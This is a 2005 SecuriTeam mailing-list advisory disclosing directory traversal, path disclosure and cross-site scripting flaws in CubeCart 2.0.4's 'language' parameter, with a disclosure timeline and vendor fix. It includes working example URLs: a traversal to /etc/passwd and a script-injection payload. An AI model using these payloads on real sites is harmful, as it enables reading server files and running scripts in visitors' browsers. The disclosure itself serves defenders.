[UNIX] CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure, XSS)

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

  • Next message: SecuriTeam: "[UNIX] AWStats PluginMode and LoadPlugin Command Execution"
    To: list@securiteam.com
    Date: 17 Feb 2005 17:52:13 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      CubeCart Multiple Vulnerabilities (Directory Traversal, Path Disclosure,
    XSS)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.cubecart.com> CubeCart is "an eCommerce script written with
    PHP and MySQL. With CubeCart you can setup a powerful online store as long
    as you have hosting supporting PHP and one MySQL database".

    Multiple vulnerabilities have been discovered in CubeCart that allow
    remote attackers to access files that reside outside the bounding HTML
    root directory, disclose the path under which CubeCart has been installed
    and cause the product to include arbitrary HTML and/or JavaScript with the
    responses it displays to users.

    DETAILS

    Vulnerable Systems:
     * 2.0.4

    Directory Traversal
    You can travel outside the remote host's bounding HTML root directory by
    utilizing the following example:
    http://www.victimsite.com/index.php?&language=../../../../../../../../etc/passwd

    Path Disclosure
    Providing an invalid value to the "language" parameter causes the program
    to return the path under which the product has been installed (invalid
    values are those that contain numbers and letters).

    The following URL:
    http://www.victimsite.com/index.php?&language=w00t

    Will result in the following content being returned:
    Warning: Failed opening
    '/var/www/virtual/www.victimsite.com/html/admin/lang/w00t' for inclusion
    (include_path='.:/usr/share/pear') in
    /var/www/virtual/www.victimsite.com/html/admin/settings.inc.php on line
    134

    Warning: Cannot add header information - headers already sent by (output
    started at
    /var/www/virtual/www.victimsite.com/html/admin/settings.inc.php:134) in
    /var/www/virtual/www.victimsite.com/html/shoppingcart.php on line 44

    Cross Site Scripting
    The language parameter can be also used to trigger a cross site scripting
    vulnerability:
    http://www.victimsite.com/index.php?&language=>var%20test_variable=31337;alert(test_variable);</script>

    Disclosure Timeline:
    09/02/2005 - Vulnerabilities discovered
    11/02/2005 - Author(s) informed on
    13/02/2005 - Author(s) response:
    14/02/2005 - Author(s) issue a fix

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:johnc@nobytes.com> John
    Cobb.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] AWStats PluginMode and LoadPlugin Command Execution"

    Relevant Pages